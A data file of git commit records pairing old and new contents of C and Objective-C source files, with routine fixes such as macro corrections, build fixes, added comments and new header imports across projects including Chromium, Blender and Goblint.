{"commit":"376adcdd2b1aae6e7465a4307214447bc0de0a75","old_file":"resources\/standard_file_template.h","new_file":"resources\/standard_file_template.h","old_contents":"\/******************************************************************************\/\n\/**\n@file\n@author\t\tAUTHOR NAME HERE.\n@brief\t\tBRIEF HERE.\n@copyright\tCopyright 2016\n\t\t\t\tThe University of British Columbia,\n\t\t\t\tIonDB Project Contributors (see @ref AUTHORS.md)\n@par\n\t\t\tLicensed under the Apache License, Version 2.0 (the \"License\");\n\t\t\tyou may not use this file except in compliance with the License.\n\t\t\tYou may obtain a copy of the License at\n\t\t\t\t\thttp:\/\/www.apache.org\/licenses\/LICENSE-2.0\n@par\n\t\t\tUnless required by applicable law or agreed to in writing,\n\t\t\tsoftware distributed under the License is distributed on an\n\t\t\t\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND,\n\t\t\teither express or implied. See the License for the specific\n\t\t\tlanguage governing permissions and limitations under the\n\t\t\tLicense.\n*\/\n\/******************************************************************************\/\n\n#if !defined(CHANGE_ME_H)\n#define CHANGE_ME_H\n\n#if defined(__cplusplus)\nextern “ C ” {\n#endif\n\n\/* Actual header file contents go in here. *\/\n\n#if defined(__cplusplus)\n}\n#endif\n\n#endif\n","new_contents":"\/******************************************************************************\/\n\/**\n@file\n@author\t\tAUTHOR NAME HERE.\n@brief\t\tBRIEF HERE.\n@copyright\tCopyright 2016\n\t\t\t\tThe University of British Columbia,\n\t\t\t\tIonDB Project Contributors (see @ref AUTHORS.md)\n@par\n\t\t\tLicensed under the Apache License, Version 2.0 (the \"License\");\n\t\t\tyou may not use this file except in compliance with the License.\n\t\t\tYou may obtain a copy of the License at\n\t\t\t\t\thttp:\/\/www.apache.org\/licenses\/LICENSE-2.0\n@par\n\t\t\tUnless required by applicable law or agreed to in writing,\n\t\t\tsoftware distributed under the License is distributed on an\n\t\t\t\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND,\n\t\t\teither express or implied. See the License for the specific\n\t\t\tlanguage governing permissions and limitations under the\n\t\t\tLicense.\n*\/\n\/******************************************************************************\/\n\n#if !defined(CHANGE_ME_H)\n#define CHANGE_ME_H\n\n#if defined(__cplusplus)\nextern \"C\" {\n#endif\n\n\/* Actual header file contents go in here. *\/\n\n#if defined(__cplusplus)\n}\n#endif\n\n#endif\n","subject":"Fix smart quote in file template","message":"Fix smart quote in file template\n","lang":"C","license":"bsd-3-clause","repos":"iondbproject\/iondb,iondbproject\/iondb"}
{"commit":"1e0998cf1d80b72eafd1639c839c86ac6f38a6ef","old_file":"test\/util\/SeqUtils.h","new_file":"test\/util\/SeqUtils.h","old_contents":"#pragma once\n\n#include \"rapidcheck\/seq\/Operations.h\"\n\nnamespace rc {\nnamespace test {\n\n\/\/! Forwards Seq a random amount and copies it to see if it is equal to the\n\/\/! original.\ntemplate<typename T>\nvoid assertEqualCopies(Seq<T> seq)\n{\n    std::size_t len = seq::length(seq);\n    std::size_t n = *gen::ranged<std::size_t>(0, len * 2);\n    while (n--)\n        seq.next();\n    const auto copy = seq;\n    RC_ASSERT(copy == seq);\n}\n\n} \/\/ namespace test\n} \/\/ namespace rc\n","new_contents":"#pragma once\n\n#include \"rapidcheck\/seq\/Operations.h\"\n\nnamespace rc {\nnamespace test {\n\n\/\/! Forwards Seq a random amount and copies it to see if it is equal to the\n\/\/! original. Must not be infinite, of course.\ntemplate<typename T>\nvoid assertEqualCopies(Seq<T> seq)\n{\n    std::size_t len = seq::length(seq);\n    std::size_t n = *gen::ranged<std::size_t>(0, len * 2);\n    while (n--)\n        seq.next();\n    const auto copy = seq;\n    RC_ASSERT(copy == seq);\n}\n\n} \/\/ namespace test\n} \/\/ namespace rc\n","subject":"Add clarifying comment for assertEqualCopies","message":"Add clarifying comment for assertEqualCopies\n","lang":"C","license":"bsd-2-clause","repos":"whoshuu\/rapidcheck,tm604\/rapidcheck,whoshuu\/rapidcheck,emil-e\/rapidcheck,tm604\/rapidcheck,emil-e\/rapidcheck,unapiedra\/rapidfuzz,emil-e\/rapidcheck,whoshuu\/rapidcheck,tm604\/rapidcheck,unapiedra\/rapidfuzz,unapiedra\/rapidfuzz"}
{"commit":"7f21701f058014bfb2fec187ef5330799adaf7a4","old_file":"tests\/test-tp-feed.c","new_file":"tests\/test-tp-feed.c","old_contents":"#include <anerley\/anerley-tp-feed.h>\n\n#include <libmissioncontrol\/mission-control.h>\n#include <glib.h>\n#include <dbus\/dbus-glib.h>\n\nint\nmain (int    argc,\n      char **argv)\n{\n  GMainLoop *main_loop;\n  MissionControl *mc;\n  McAccount *account;\n  AnerleyTpFeed *feed;\n  DBusGConnection *conn;\n\n  if (argc < 2)\n  {\n    g_print (\"Usage: .\/test-tp-feed <account-name>\");\n    return 1;\n  }\n\n  g_type_init ();\n\n  main_loop = g_main_loop_new (NULL, FALSE);\n  conn = dbus_g_bus_get (DBUS_BUS_SESSION, NULL);\n  mc = mission_control_new (conn);\n  account = mc_account_lookup (argv[1]);\n  feed = anerley_tp_feed_new (mc, account);\n\n  g_main_loop_run (main_loop);\n\n  return 0;\n}\n\n","new_contents":"#include <anerley\/anerley-tp-feed.h>\n\n#include <libmissioncontrol\/mission-control.h>\n#include <glib.h>\n#include <dbus\/dbus-glib.h>\n\nint\nmain (int    argc,\n      char **argv)\n{\n  GMainLoop *main_loop;\n  MissionControl *mc;\n  McAccount *account;\n  AnerleyTpFeed *feed;\n  DBusGConnection *conn;\n\n  if (argc < 2)\n  {\n    g_print (\"Usage: .\/test-tp-feed <account-name>\\n\");\n    return 1;\n  }\n\n  g_type_init ();\n\n  main_loop = g_main_loop_new (NULL, FALSE);\n  conn = dbus_g_bus_get (DBUS_BUS_SESSION, NULL);\n  mc = mission_control_new (conn);\n  account = mc_account_lookup (argv[1]);\n  feed = anerley_tp_feed_new (mc, account);\n\n  g_main_loop_run (main_loop);\n\n  return 0;\n}\n\n","subject":"Add missing newline to usage print call.","message":"Add missing newline to usage print call.\n","lang":"C","license":"lgpl-2.1","repos":"meego-netbook-ux\/anerley,meego-netbook-ux\/anerley"}
{"commit":"5492c5f1f68623bab36842c5cc3fbb325e82d33b","old_file":"src\/lock.h","new_file":"src\/lock.h","old_contents":"#ifndef LOCK_H\n#define LOCK_H\n\nenum lockstat\n{\n\tGET_LOCK_NOT_GOT=0,\n\tGET_LOCK_ERROR,\n\tGET_LOCK_GOT\n};\n\ntypedef struct lock lock_t;\n\nstruct lock\n{\n\tint fd;\n\tenum lockstat status;\n\tchar *path;\n\tlock_t *next;\n};\n\nextern struct lock *lock_alloc(void);\nextern int lock_init(struct lock *lock, const char *path);\nextern struct lock *lock_alloc_and_init(const char *path);\nextern void lock_free(struct lock **lock);\n\n\/\/ Need to test lock->status to find out what happened when calling these.\nextern void lock_get_quick(struct lock *lock);\nextern void lock_get(struct lock *lock);\n\nextern int lock_test(const char *path);\nextern int lock_release(struct lock *lock);\n\nextern void lock_add_to_list(struct lock **locklist, struct lock *lock);\nextern void locks_release_and_free(struct lock **locklist);\n\n#endif\n","new_contents":"#ifndef LOCK_H\n#define LOCK_H\n\nenum lockstat\n{\n\tGET_LOCK_NOT_GOT=0,\n\tGET_LOCK_ERROR,\n\tGET_LOCK_GOT\n};\n\nstruct lock\n{\n\tint fd;\n\tenum lockstat status;\n\tchar *path;\n\tstruct lock *next;\n};\n\nextern struct lock *lock_alloc(void);\nextern int lock_init(struct lock *lock, const char *path);\nextern struct lock *lock_alloc_and_init(const char *path);\nextern void lock_free(struct lock **lock);\n\n\/\/ Need to test lock->status to find out what happened when calling these.\nextern void lock_get_quick(struct lock *lock);\nextern void lock_get(struct lock *lock);\n\nextern int lock_test(const char *path);\nextern int lock_release(struct lock *lock);\n\nextern void lock_add_to_list(struct lock **locklist, struct lock *lock);\nextern void locks_release_and_free(struct lock **locklist);\n\n#endif\n","subject":"Fix a build issue on Solaris","message":"Fix a build issue on Solaris\n","lang":"C","license":"agpl-3.0","repos":"rubenk\/burp,rubenk\/burp,rubenk\/burp"}
{"commit":"06d500a9bf493403b1c9a9502f687f8d82cae1a6","old_file":"LYCategory\/Classes\/_UIKit\/UINavigationBar+Fix.h","new_file":"LYCategory\/Classes\/_UIKit\/UINavigationBar+Fix.h","old_contents":"","new_contents":"\/\/\n\/\/  UINavigationBar+Fix.h\n\/\/  LYCategory\n\/\/\n\/\/  Created by Luo Yu on 2017\/02\/11.\n\/\/  Copyright (c) 2014 Luo Yu. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n@interface UINavigationBar (Fix)\n\n@end\n","subject":"Add : navigation bar fix","message":"Add : navigation bar fix\n","lang":"C","license":"mit","repos":"blodely\/LYCategory,blodely\/LYCategory,blodely\/LYCategory,blodely\/LYCategory"}
{"commit":"d48a0e271421d2f6020ac6ac41384be83e3f2c6e","old_file":"tests\/regression\/37-congruence\/10-overflow-special-cases.c","new_file":"tests\/regression\/37-congruence\/10-overflow-special-cases.c","old_contents":"","new_contents":"\/\/ PARAM: --enable ana.int.congruence\n#include <goblint.h>\n\/\/ #include <assert.h>\n\/\/ #define __goblint_check(e) assert(e)\n\nint basic(){\n\tunsigned int two_pow_16 = 65536;\n\tunsigned int a;\n\tunsigned int b;\n\n\tif (a % two_pow_16 == 3)\n\t{\n\t\tif (b % two_pow_16 == 5)\n\t\t{\n\t\t\t__goblint_check(a % two_pow_16 == 3);\n\t\t\t__goblint_check(b % two_pow_16 == 5);\n\n\t\t\tint e = a * b;\n\t\t\t__goblint_check(e % two_pow_16 == 15);\n\t\t\t__goblint_check(e == 15); \/\/ UNKNOWN!\n\t\t}\n\t}\n}\n\nint special(){\n\tunsigned int two_pow_18 = 262144;\n\tunsigned int two_pow_17 = 131072;\n\n\tunsigned int a;\n\tunsigned int b;\n\n\tif (a % two_pow_18 == two_pow_17)\n\t{\n\t\tif (b % two_pow_18 == two_pow_17)\n\t\t{\n\t\t\t__goblint_check(a % two_pow_18 == two_pow_17);\n\t\t\t__goblint_check(b % two_pow_18 == two_pow_17);\n\n\t\t\tint e = a * b;\n\t\t\t__goblint_check(e == 0);\n\t\t}\n\t}\n\n\t\/\/ Hint why the above works:\n\t__goblint_check( two_pow_17 * two_pow_17 == 0);\n}\n\n\nint special2(){\n\tunsigned int two_pow_30 = 1073741824;\n\tunsigned int two_pow_18 = 262144;\n\tunsigned int two_pow_17 = 131072;\n\tunsigned int two_pow_16 = 65536;\n\tunsigned int two_pow_15 = 32768;\n\n\tunsigned int x = two_pow_17 + two_pow_15;\n\n\tunsigned int a;\n\tunsigned int b;\n\n\tif (a % two_pow_18 == x)\n\t{\n\t\tif (b % two_pow_18 == x)\n\t\t{\n\t\t\t__goblint_check(a % two_pow_18 == x);\n\t\t\t__goblint_check(b % two_pow_18 == x);\n\n\t\t\tint e = a * b;\n\t\t\t__goblint_check(e == two_pow_30);\n\t\t}\n\t}\n\n\t\/\/ Hint why the above holds:\n\t__goblint_check( x * x  == two_pow_30);\n}\n\n\n\n\nint main()\n{\n\tbasic();\n\tspecial();\n\tspecial2();\n}\n","subject":"Add additional test case for handling of overflows in congruence domain.","message":"Add additional test case for handling of overflows in congruence domain.\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"a9e2b1a5c66b837b0a25ddd571f96b71a95453cb","old_file":"assembler\/d16-main\/main.c","new_file":"assembler\/d16-main\/main.c","old_contents":"\/\/\n\/\/  main.c\n\/\/  d16-asm\n\/\/\n\/\/  Created by Michael Nolan on 6\/17\/16.\n\/\/  Copyright © 2016 Michael Nolan. All rights reserved.\n\/\/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include \"parser.h\"\n#include \"assembler.h\"\n#include <string.h>\n#include \"instruction.h\"\n#include <unistd.h>\nextern int yyparse (FILE* output_file);\nextern FILE* yyin;\nextern int yydebug;\nint main(int argc, char * const argv[]) {\n    FILE *f,*o;\n    opterr = 0;\n    int c;\n    while ((c=getopt(argc,argv,\"o:\")) != -1){\n        switch(c){\n            case 'o':\n                o = fopen(optarg,\"wb\");\n\n\n        }\n    }\n    if(optind<argc) f = fopen(argv[optind],\"r\");\n    else{\n        fprintf(stderr,\"d16: No input files specified\\n\");\n        exit(-1);\n    }\n    if(o==NULL){\n        o=fopen(\"a.out\",\"wb\");\n    }\n\n\n    yyin = f;\n\n\t  init_hash_table();\n    do {\n        yyparse(o);\n    } while (!feof(yyin));\n    fclose(f);\n    fclose(o);\n    return 0;\n}\n","new_contents":"\/\/\n\/\/  main.c\n\/\/  d16-asm\n\/\/\n\/\/  Created by Michael Nolan on 6\/17\/16.\n\/\/  Copyright © 2016 Michael Nolan. All rights reserved.\n\/\/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include \"parser.h\"\n#include \"assembler.h\"\n#include <string.h>\n#include \"instruction.h\"\n#include <unistd.h>\nextern int yyparse (FILE* output_file);\nextern FILE* yyin;\nextern int yydebug;\nbool binary_mode = false;\nint main(int argc, char * const argv[]) {\n    FILE *f,*o;\n    opterr = 0;\n    int c;\n    while ((c=getopt(argc,argv,\"o:bh\")) != -1){\n        switch(c){\n            case 'o':\n                o = fopen(optarg,\"wb\");\n                break;\n            case 'b':\n                binary_mode = true;\n                break;\n            case 'h':\n                puts(\"Usage: d16 [-bh] -o [outputfile] [input]\\n\");\n                exit(0);\n                break;\n        }\n    }\n    if(optind<argc) f = fopen(argv[optind],\"r\");\n    else{\n        fprintf(stderr,\"d16: No input files specified\\n\");\n        exit(-1);\n    }\n    if(o==NULL){\n        o=fopen(\"a.out\",\"wb\");\n    }\n\n\n    yyin = f;\n\n\t  init_hash_table();\n    do {\n        yyparse(o);\n    } while (!feof(yyin));\n    fclose(f);\n    fclose(o);\n    return 0;\n}\n","subject":"Add help and binary options","message":"Add help and binary options\n","lang":"C","license":"mit","repos":"d16-processor\/d16,d16-processor\/d16,d16-processor\/d16,d16-processor\/d16,d16-processor\/d16"}
{"commit":"970da55f2320bef2103f879f4b6c7278b431bfbe","old_file":"cast\/cast.h","new_file":"cast\/cast.h","old_contents":"\/*\n *\tCAST-128 in C\n *\tWritten by Steve Reid <sreid@sea-to-sky.net>\n *\t100% Public Domain - no warranty\n *\tReleased 1997.10.11\n *\/\n\n#ifndef _CAST_H_\n#define _CAST_H_\n\ntypedef unsigned char u8;\t\/* 8-bit unsigned *\/\ntypedef unsigned long u32;\t\/* 32-bit unsigned *\/\n\ntypedef struct {\n\tu32 xkey[32];\t\/* Key, after expansion *\/\n\tint rounds;\t\t\/* Number of rounds to use, 12 or 16 *\/\n} cast_key;\n\nvoid cast_setkey(cast_key* key, u8* rawkey, int keybytes);\nvoid cast_encrypt(cast_key* key, u8* inblock, u8* outblock);\nvoid cast_decrypt(cast_key* key, u8* inblock, u8* outblock);\n\n#endif \/* ifndef _CAST_H_ *\/\n\n","new_contents":"\/*\n *\tCAST-128 in C\n *\tWritten by Steve Reid <sreid@sea-to-sky.net>\n *\t100% Public Domain - no warranty\n *\tReleased 1997.10.11\n *\/\n\n#ifndef _CAST_H_\n#define _CAST_H_\n\n#include <stdint.h>\n\ntypedef uint8_t u8;\t\/* 8-bit unsigned *\/\ntypedef uint32_t u32;\t\/* 32-bit unsigned *\/\n\ntypedef struct {\n        u32 xkey[32];\t\/* Key, after expansion *\/\n        int rounds;\t\t\/* Number of rounds to use, 12 or 16 *\/\n} cast_key;\n\nvoid cast_setkey(cast_key* key, u8* rawkey, int keybytes);\nvoid cast_encrypt(cast_key* key, u8* inblock, u8* outblock);\nvoid cast_decrypt(cast_key* key, u8* inblock, u8* outblock);\n\n#endif \/* ifndef _CAST_H_ *\/\n","subject":"Use stdint.h in CAST to implement 32 bit and 8 bit unsigned integers.","message":"Use stdint.h in CAST to implement 32 bit and 8 bit unsigned integers.\n","lang":"C","license":"bsd-3-clause","repos":"wilx\/apg,wilx\/apg,wilx\/apg,rogerapras\/apg,rogerapras\/apg,rogerapras\/apg,rogerapras\/apg,wilx\/apg"}
{"commit":"82b7e62e178e87e9288f62ed0b90d824f426eb02","old_file":"kernel\/kernel_debug.h","new_file":"kernel\/kernel_debug.h","old_contents":"\/*\n * Copyright 2011-2014 Blender Foundation\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License\n *\/\n\nCCL_NAMESPACE_BEGIN\n\nccl_device_inline void debug_data_init(DebugData *debug_data)\n{\n\tdebug_data->num_bvh_traversal_steps = 0;\n}\n\nccl_device_inline void kernel_write_debug_passes(KernelGlobals *kg,\n                                                 ccl_global float *buffer,\n                                                 PathState *state,\n                                                 DebugData *debug_data,\n                                                 int sample)\n{\n\tkernel_write_pass_float(buffer + kernel_data.film.pass_bvh_traversal_steps,\n\t                        sample,\n\t                        debug_data->num_bvh_traversal_steps);\n}\n\nCCL_NAMESPACE_END\n","new_contents":"\/*\n * Copyright 2011-2014 Blender Foundation\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License\n *\/\n\nCCL_NAMESPACE_BEGIN\n\nccl_device_inline void debug_data_init(DebugData *debug_data)\n{\n\tdebug_data->num_bvh_traversal_steps = 0;\n}\n\nccl_device_inline void kernel_write_debug_passes(KernelGlobals *kg,\n                                                 ccl_global float *buffer,\n                                                 PathState *state,\n                                                 DebugData *debug_data,\n                                                 int sample)\n{\n\tint flag = kernel_data.film.pass_flag;\n\tif(flag & PASS_BVH_TRAVERSAL_STEPS) {\n\t\tkernel_write_pass_float(buffer + kernel_data.film.pass_bvh_traversal_steps,\n\t\t                        sample,\n\t\t                        debug_data->num_bvh_traversal_steps);\n\t}\n}\n\nCCL_NAMESPACE_END\n","subject":"Fix for viewport rendering with debug enabled","message":"Cycles: Fix for viewport rendering with debug enabled\n","lang":"C","license":"apache-2.0","repos":"tangent-opensource\/coreBlackbird,pyrochlore\/cycles,pyrochlore\/cycles,tangent-opensource\/coreBlackbird,tangent-opensource\/coreBlackbird,pyrochlore\/cycles"}
{"commit":"eb3d6f8d292110e86a39b0e0f0fbc24821286aaf","old_file":"JavaScriptCore\/wtf\/MathExtras.h","new_file":"JavaScriptCore\/wtf\/MathExtras.h","old_contents":"","new_contents":"\/*\n * Copyright (C) 2006 Apple Computer, Inc.  All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY\n * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR\n * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY\n * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. \n *\/\n\n#include <math.h>\n\n#if PLATFORM(WIN)\n\ninline float roundf(float num)\n{\n    return num > 0 ? floorf(num + 0.5f) : ceilf(num - 0.5f);\n}\n\ninline long lroundf(float num)\n{\n    return num > 0 ? num + 0.5f : ceilf(num - 0.5f);\n}\n\n#endif\n","subject":"Add mathextras.h to wtf to give win32 roundf\/lroundf support.","message":"Add mathextras.h to wtf to give win32 roundf\/lroundf support.\n\ngit-svn-id: bf5cd6ccde378db821296732a091cfbcf5285fbd@14506 bbb929c8-8fbe-4397-9dbb-9b2b20218538","lang":"C","license":"bsd-3-clause","repos":"primiano\/blink-gitcs,primiano\/blink-gitcs,primiano\/blink-gitcs,primiano\/blink-gitcs,primiano\/blink-gitcs,primiano\/blink-gitcs,primiano\/blink-gitcs,primiano\/blink-gitcs,primiano\/blink-gitcs"}
{"commit":"3155d4daa5bb7c1a93aebc890240589cdcfa3e88","old_file":"ObjectiveRocks\/ObjectiveRocks.h","new_file":"ObjectiveRocks\/ObjectiveRocks.h","old_contents":"\/\/\n\/\/  ObjectiveRocks.h\n\/\/  ObjectiveRocks\n\/\/\n\/\/  Created by Iska on 20\/11\/14.\n\/\/  Copyright (c) 2014 BrainCookie. All rights reserved.\n\/\/\n\n#import \"RocksDB.h\"\n#import \"RocksDBOptions.h\"\n#import \"RocksDBReadOptions.h\"\n#import \"RocksDBWriteOptions.h\"\n#import \"RocksDBWriteBatch.h\"\n#import \"RocksDBIterator.h\"\n#import \"RocksDBSnapshot.h\"\n#import \"RocksDBComparator.h\"\n","new_contents":"\/\/\n\/\/  ObjectiveRocks.h\n\/\/  ObjectiveRocks\n\/\/\n\/\/  Created by Iska on 20\/11\/14.\n\/\/  Copyright (c) 2014 BrainCookie. All rights reserved.\n\/\/\n\n#import \"RocksDB.h\"\n#import \"RocksDBOptions.h\"\n#import \"RocksDBReadOptions.h\"\n#import \"RocksDBWriteOptions.h\"\n#import \"RocksDBWriteBatch.h\"\n#import \"RocksDBIterator.h\"\n#import \"RocksDBSnapshot.h\"\n#import \"RocksDBComparator.h\"\n#import \"RocksDBMergeOperator.h\"\n","subject":"Add RocksDB merge operator import to the main public header","message":"Add RocksDB merge operator import to the main public header\n","lang":"C","license":"mit","repos":"iabudiab\/ObjectiveRocks,iabudiab\/ObjectiveRocks,iabudiab\/ObjectiveRocks,iabudiab\/ObjectiveRocks"}
{"commit":"6c12c50736a7f2cce5d8776c9d64b85e3435aec6","old_file":"chrome\/browser\/extensions\/external_install_ui.h","new_file":"chrome\/browser\/extensions\/external_install_ui.h","old_contents":"\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_BROWSER_EXTENSIONS_EXTERNAL_INSTALL_UI_H_\n#define CHROME_BROWSER_EXTENSIONS_EXTERNAL_INSTALL_UI_H_\n\nclass Browser;\nclass ExtensionService;\n\n\/\/ Only enable the external install UI on Windows and Mac, because those\n\/\/ are the platforms where external installs are the biggest issue.\n#if defined(OS_WINDOWS) || defined(OS_MACOSX)\n#define ENABLE_EXTERNAL_INSTALL_UI 1\n#else\n#define ENABLE_EXTERNAL_INSTALL_UI 0\n#endif\n\nnamespace extensions {\n\nclass Extension;\n\n\/\/ Adds\/Removes a global error informing the user that an external extension\n\/\/ was installed.\nbool AddExternalInstallError(ExtensionService* service,\n                             const Extension* extension);\nvoid RemoveExternalInstallError(ExtensionService* service);\n\n\/\/ Used for testing.\nbool HasExternalInstallError(ExtensionService* service);\n\n}  \/\/ namespace extensions\n\n#endif  \/\/ CHROME_BROWSER_EXTENSIONS_EXTERNAL_INSTALL_UI_H_\n","new_contents":"\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_BROWSER_EXTENSIONS_EXTERNAL_INSTALL_UI_H_\n#define CHROME_BROWSER_EXTENSIONS_EXTERNAL_INSTALL_UI_H_\n\n#include \"build\/build_config.h\"\n\nclass Browser;\nclass ExtensionService;\n\n\/\/ Only enable the external install UI on Windows and Mac, because those\n\/\/ are the platforms where external installs are the biggest issue.\n#if defined(OS_WIN) || defined(OS_MACOSX)\n#define ENABLE_EXTERNAL_INSTALL_UI 1\n#else\n#define ENABLE_EXTERNAL_INSTALL_UI 0\n#endif\n\nnamespace extensions {\n\nclass Extension;\n\n\/\/ Adds\/Removes a global error informing the user that an external extension\n\/\/ was installed.\nbool AddExternalInstallError(ExtensionService* service,\n                             const Extension* extension);\nvoid RemoveExternalInstallError(ExtensionService* service);\n\n\/\/ Used for testing.\nbool HasExternalInstallError(ExtensionService* service);\n\n}  \/\/ namespace extensions\n\n#endif  \/\/ CHROME_BROWSER_EXTENSIONS_EXTERNAL_INSTALL_UI_H_\n","subject":"Fix external extension install (post-sideload) restriction on Windows.","message":"Fix external extension install (post-sideload) restriction on Windows.\n\nI had #ifdef'd it to OS_WINDOWS. It should be OS_WIN.\n\nBUG=156727\n\nReview URL: https:\/\/codereview.chromium.org\/11238042\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@163418 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"Jonekee\/chromium.src,chuan9\/chromium-crosswalk,dushu1203\/chromium.src,markYoungH\/chromium.src,Just-D\/chromium-1,TheTypoMaster\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,Jonekee\/chromium.src,Just-D\/chromium-1,hgl888\/chromium-crosswalk-efl,dednal\/chromium.src,junmin-zhu\/chromium-rivertrail,patrickm\/chromium.src,ltilve\/chromium,mohamed--abdel-maksoud\/chromium.src,patrickm\/chromium.src,Chilledheart\/chromium,ondra-novak\/chromium.src,fujunwei\/chromium-crosswalk,timopulkkinen\/BubbleFish,timopulkkinen\/BubbleFish,Jonekee\/chromium.src,markYoungH\/chromium.src,nacl-webkit\/chrome_deps,fujunwei\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,crosswalk-project\/chromium-crosswalk-efl,chuan9\/chromium-crosswalk,littlstar\/chromium.src,krieger-od\/nwjs_chromium.src,bright-sparks\/chromium-spacewalk,krieger-od\/nwjs_chromium.src,dednal\/chromium.src,littlstar\/chromium.src,ChromiumWebApps\/chromium,junmin-zhu\/chromium-rivertrail,timopulkkinen\/BubbleFish,pozdnyakov\/chromium-crosswalk,jaruba\/chromium.src,nacl-webkit\/chrome_deps,krieger-od\/nwjs_chromium.src,crosswalk-project\/chromium-crosswalk-efl,TheTypoMaster\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,Jonekee\/chromium.src,littlstar\/chromium.src,dednal\/chromium.src,Fireblend\/chromium-crosswalk,ChromiumWebApps\/chromium,ChromiumWebApps\/chromium,junmin-zhu\/chromium-rivertrail,timopulkkinen\/BubbleFish,pozdnyakov\/chromium-crosswalk,ondra-novak\/chromium.src,littlstar\/chromium.src,Just-D\/chromium-1,chuan9\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,hgl888\/chromium-crosswalk-efl,axinging\/chromium-crosswalk,patrickm\/chromium.src,mogoweb\/chromium-crosswalk,dednal\/chromium.src,Just-D\/chromium-1,markYoungH\/chromium.src,krieger-od\/nwjs_chromium.src,anirudhSK\/chromium,hgl888\/chromium-crosswalk-efl,ondra-novak\/chromium.src,anirudhSK\/chromium,jaruba\/chromium.src,markYoungH\/chromium.src,ChromiumWebApps\/chromium,nacl-webkit\/chrome_deps,bright-sparks\/chromium-spacewalk,Jonekee\/chromium.src,jaruba\/chromium.src,dushu1203\/chromium.src,hgl888\/chromium-crosswalk,hujiajie\/pa-chromium,bright-sparks\/chromium-spacewalk,dushu1203\/chromium.src,markYoungH\/chromium.src,pozdnyakov\/chromium-crosswalk,Fireblend\/chromium-crosswalk,littlstar\/chromium.src,krieger-od\/nwjs_chromium.src,hujiajie\/pa-chromium,junmin-zhu\/chromium-rivertrail,mogoweb\/chromium-crosswalk,dushu1203\/chromium.src,hgl888\/chromium-crosswalk-efl,PeterWangIntel\/chromium-crosswalk,Just-D\/chromium-1,Jonekee\/chromium.src,zcbenz\/cefode-chromium,dushu1203\/chromium.src,bright-sparks\/chromium-spacewalk,crosswalk-project\/chromium-crosswalk-efl,mogoweb\/chromium-crosswalk,Fireblend\/chromium-crosswalk,nacl-webkit\/chrome_deps,junmin-zhu\/chromium-rivertrail,zcbenz\/cefode-chromium,anirudhSK\/chromium,anirudhSK\/chromium,axinging\/chromium-crosswalk,markYoungH\/chromium.src,mogoweb\/chromium-crosswalk,hujiajie\/pa-chromium,dednal\/chromium.src,krieger-od\/nwjs_chromium.src,timopulkkinen\/BubbleFish,axinging\/chromium-crosswalk,zcbenz\/cefode-chromium,PeterWangIntel\/chromium-crosswalk,fujunwei\/chromium-crosswalk,ondra-novak\/chromium.src,nacl-webkit\/chrome_deps,PeterWangIntel\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,krieger-od\/nwjs_chromium.src,mogoweb\/chromium-crosswalk,Just-D\/chromium-1,M4sse\/chromium.src,Chilledheart\/chromium,zcbenz\/cefode-chromium,bright-sparks\/chromium-spacewalk,krieger-od\/nwjs_chromium.src,ChromiumWebApps\/chromium,markYoungH\/chromium.src,dednal\/chromium.src,hgl888\/chromium-crosswalk,axingin